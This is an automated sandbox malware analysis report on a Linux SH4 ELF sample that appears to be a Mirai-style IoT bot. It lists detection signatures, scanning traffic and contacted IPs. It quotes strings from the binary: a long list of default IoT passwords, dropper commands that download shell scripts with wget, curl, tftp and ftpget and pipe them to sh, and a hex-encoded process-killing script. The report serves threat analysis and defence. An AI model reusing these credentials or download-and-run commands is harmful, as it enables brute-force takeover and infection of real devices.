Linux Analysis Report
la.bot.sh4.elf

Overview

General Information

Sample name: la.bot.sh4.elf
Analysis ID: 1544381
MD5: ecdb1d879da868bb8bde0a8e51882ab1
SHA1: 11d1e752dc974fbba995978c086aa91a7a21feaa
SHA256: 6a686644eb44089403ad50252118309c7d3b2f0ca99c95738a9b7975fbf5ddc7
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.sh4.elf ReversingLabs: Detection: 31%
Found strings indicative of a multi-platform dropper
Source: la.bot.sh4.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sh4.elf String: l/proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient/dev/watchdog/dev/misc/watchdogM
Source: la.bot.sh4.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 156.244.13.91 ports 23789,2,3,7,8,9
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:35166 -> 156.244.13.91:23789
Sample listens on a socket
Source: /tmp/la.bot.sh4.elf (PID: 6216) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 129.214.197.167
Source: unknown TCP traffic detected without corresponding DNS query: 129.214.197.167
Source: unknown TCP traffic detected without corresponding DNS query: 142.14.138.15
Source: unknown TCP traffic detected without corresponding DNS query: 105.194.95.149
Source: unknown TCP traffic detected without corresponding DNS query: 142.14.138.15
Source: unknown TCP traffic detected without corresponding DNS query: 161.101.34.142
Source: unknown TCP traffic detected without corresponding DNS query: 105.194.95.149
Source: unknown TCP traffic detected without corresponding DNS query: 45.208.119.16
Source: unknown TCP traffic detected without corresponding DNS query: 161.101.34.142
Source: unknown TCP traffic detected without corresponding DNS query: 69.224.132.69
Source: unknown TCP traffic detected without corresponding DNS query: 45.208.119.16
Source: unknown TCP traffic detected without corresponding DNS query: 72.88.1.57
Source: unknown TCP traffic detected without corresponding DNS query: 69.224.132.69
Source: unknown TCP traffic detected without corresponding DNS query: 196.158.64.186
Source: unknown TCP traffic detected without corresponding DNS query: 72.88.1.57
Source: unknown TCP traffic detected without corresponding DNS query: 58.51.218.97
Source: unknown TCP traffic detected without corresponding DNS query: 196.158.64.186
Source: unknown TCP traffic detected without corresponding DNS query: 193.218.134.34
Source: unknown TCP traffic detected without corresponding DNS query: 58.51.218.97
Source: unknown TCP traffic detected without corresponding DNS query: 176.88.93.81
Source: unknown TCP traffic detected without corresponding DNS query: 114.20.99.249
Source: unknown TCP traffic detected without corresponding DNS query: 193.218.134.34
Source: unknown TCP traffic detected without corresponding DNS query: 169.165.114.31
Source: unknown TCP traffic detected without corresponding DNS query: 176.88.93.81
Source: unknown TCP traffic detected without corresponding DNS query: 43.146.63.109
Source: unknown TCP traffic detected without corresponding DNS query: 114.20.99.249
Source: unknown TCP traffic detected without corresponding DNS query: 26.85.148.25
Source: unknown TCP traffic detected without corresponding DNS query: 169.165.114.31
Source: unknown TCP traffic detected without corresponding DNS query: 207.144.162.226
Source: unknown TCP traffic detected without corresponding DNS query: 43.146.63.109
Source: unknown TCP traffic detected without corresponding DNS query: 206.27.224.192
Source: unknown TCP traffic detected without corresponding DNS query: 26.85.148.25
Source: unknown TCP traffic detected without corresponding DNS query: 156.121.214.123
Source: unknown TCP traffic detected without corresponding DNS query: 207.144.162.226
Source: unknown TCP traffic detected without corresponding DNS query: 172.15.230.122
Source: unknown TCP traffic detected without corresponding DNS query: 206.27.224.192
Source: unknown TCP traffic detected without corresponding DNS query: 23.183.238.79
Source: unknown TCP traffic detected without corresponding DNS query: 156.121.214.123
Source: unknown TCP traffic detected without corresponding DNS query: 157.21.198.144
Source: unknown TCP traffic detected without corresponding DNS query: 172.15.230.122
Source: unknown TCP traffic detected without corresponding DNS query: 170.118.39.166
Source: unknown TCP traffic detected without corresponding DNS query: 23.183.238.79
Source: unknown TCP traffic detected without corresponding DNS query: 158.208.101.232
Source: unknown TCP traffic detected without corresponding DNS query: 157.21.198.144
Source: unknown TCP traffic detected without corresponding DNS query: 18.104.201.51
Source: unknown TCP traffic detected without corresponding DNS query: 170.118.39.166
Source: unknown TCP traffic detected without corresponding DNS query: 95.149.161.47
Source: unknown TCP traffic detected without corresponding DNS query: 158.208.101.232
Source: unknown TCP traffic detected without corresponding DNS query: 90.46.163.0
Source: global traffic DNS traffic detected: DNS query: 75cents.libre
Source: la.bot.sh4.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sh4.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sh4.elf (PID: 6218) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal52.troj.linELF@0/0@1/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6218) File opened: /proc/83/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sh4.elf (PID: 6216) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sh4.elf, 6216.1.00007ffea214e000.00007ffea216f000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: la.bot.sh4.elf, 6216.1.00005612a2787000.00005612a27ea000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 6216.1.00005612a2787000.00005612a27ea000.rw-.sdmp Binary or memory string: V5!/etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 6216.1.00007ffea214e000.00007ffea216f000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/la.bot.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sh4.elf

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
121.248.137.238
 unknown China
24361 CNGI-NJ-IX-AS-APCERNET2IXatSoutheastUniversityCN false
1.159.166.251
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
8.242.106.104
 unknown United States
3356 LEVEL3US false
1.240.71.109
 unknown Korea Republic of
38415 GOEGN-AS-KRGuriNamyangjuOfficeOfEducationKR false
131.225.96.79
 unknown United States
3152 FNAL-ASUS false
221.50.237.152
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
149.189.94.41
 unknown United Kingdom
87 INDIANA-ASUS false
106.10.182.149
 unknown Singapore
56173 YAHOO-SG3internetcontentproviderSG false
160.49.18.230
 unknown Germany
2381 WISCNET1-ASUS false
206.248.71.132
 unknown Puerto Rico
14638 LCPRLUS false
82.92.235.8
 unknown Netherlands
3265 XS4ALL-NLAmsterdamNL false
207.177.210.198
 unknown United States
11770 NET56US false
124.199.220.200
 unknown Korea Republic of
17864 TBROAD_HANVIT-AS-KRTBROADHANVITBROADCASTINGCOLTDKR false
175.93.154.62
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
122.203.198.38
 unknown Korea Republic of
38394 GOESN-AS-KRGyeonggidoSeongnamOfficeofEducationKR false
4.30.76.71
 unknown United States
3356 LEVEL3US false
101.246.120.235
 unknown China
17429 BGCTVNETBEIJINGGEHUACATVNETWORKCOLTDCN false
149.189.41.186
 unknown United Kingdom
87 INDIANA-ASUS false
174.104.131.22
 unknown United States
10796 TWC-10796-MIDWESTUS false
202.19.29.248
 unknown Japan 4725 ODNSoftBankMobileCorpJP false
122.143.220.251
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
159.97.7.175
 unknown United States
32982 DOE-HQUS false
96.74.2.149
 unknown United States
7922 COMCAST-7922US false
208.119.183.126
 unknown United States
11686 ENAUS false
153.213.125.80
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
178.87.227.30
 unknown Saudi Arabia
25019 SAUDINETSTC-ASSA false
188.129.36.174
 unknown Croatia (LOCAL Name: Hrvatska)
29485 AMISHR false
48.138.197.197
 unknown United States
2686 ATGS-MMD-ASUS false
109.17.27.215
 unknown France
15557 LDCOMNETFR false
61.91.94.50
 unknown Thailand
9287 TIDCC-AS-APTrueInternetDataCenterCompanyLimitedTH false
209.166.247.107
 unknown United States
31715 ABTME-ASUS false
65.200.166.240
 unknown United States
701 UUNETUS false
90.176.47.75
 unknown Czech Republic
5610 O2-CZECH-REPUBLICCZ false
74.114.226.134
 unknown United States
14753 UNIVE-80US false
92.96.19.18
 unknown United Arab Emirates
5384 EMIRATES-INTERNETEmiratesInternetAE false
39.177.173.215
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
63.108.8.38
 unknown United States
701 UUNETUS false
84.240.175.52
 unknown Italy
2594 ASN-CSIIT false
92.3.233.61
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
155.6.151.201
 unknown United States
1637 DNIC-AS-01637US false
103.51.166.54
 unknown Indonesia
20546 SOPRADO-ANYDE false
50.9.11.97
 unknown United States
2686 ATGS-MMD-ASUS false
47.52.24.30
 unknown United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC false
65.96.34.109
 unknown United States
7922 COMCAST-7922US false
153.151.21.158
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
149.4.73.114
 unknown United States
31822 CITY-UNIVERSITY-OF-NEW-YORKUS false
163.62.125.78
 unknown France
1301 FR-EDFDPT3ElectricitedeFranceServiceNationalEU false
205.148.176.46
 unknown United States
394417 AS-SONJUS false
42.231.170.192
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
113.179.13.83
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
174.29.41.63
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
179.78.152.167
 unknown Brazil
26615 TIMSABR false
138.209.74.212
 unknown United States
21727 HAMLINE-EDUUS false
199.0.117.228
 unknown United States
1239 SPRINTLINKUS false
148.113.252.71
 unknown United States
396982 GOOGLE-PRIVATE-CLOUDUS false
193.230.153.199
 unknown Romania
9050 RTDBucharestRomaniaRO false
193.25.170.240
 unknown Germany
24940 HETZNER-ASDE false
167.141.36.116
 unknown United States
174 COGENT-174US false
41.247.101.207
 unknown South Africa
5713 SAIX-NETZA false
33.217.160.198
 unknown United States
2686 ATGS-MMD-ASUS false
17.234.163.172
 unknown United States
714 APPLE-ENGINEERINGUS false
4.115.242.66
 unknown United States
3356 LEVEL3US false
160.122.103.41
 unknown South Africa
137951 CLAYERLIMITED-AS-APClayerLimitedHK false
205.171.193.56
 unknown United States
17207 COLOR-COLLUS false
145.51.254.118
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
68.125.11.220
 unknown United States
7018 ATT-INTERNET4US false
121.80.9.244
 unknown Japan 17511 OPTAGEOPTAGEIncJP false
87.2.108.109
 unknown Italy
3269 ASN-IBSNAZIT false
40.51.41.247
 unknown United States
4249 LILLY-ASUS false
217.115.184.251
 unknown Russian Federation
12714 TI-ASMoscowRussiaRU false
13.218.244.3
 unknown United States
16509 AMAZON-02US false
159.9.233.95
 unknown United States
36351 SOFTLAYERUS false
136.155.183.117
 unknown Sweden
19399 SLLNETEU false
181.117.119.219
 unknown Argentina
11664 TechtelLMDSComunicacionesInteractivasSAAR false
14.136.29.124
 unknown Hong Kong
9269 HKBN-AS-APHongKongBroadbandNetworkLtdHK false
22.72.182.171
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
6.42.13.225
 unknown United States
3356 LEVEL3US false
31.9.229.109
 unknown Syrian Arab Republic
29256 INT-PDN-STE-ASSTEPDNInternalASSY false
201.143.181.163
 unknown Mexico
8151 UninetSAdeCVMX false
50.192.89.107
 unknown United States
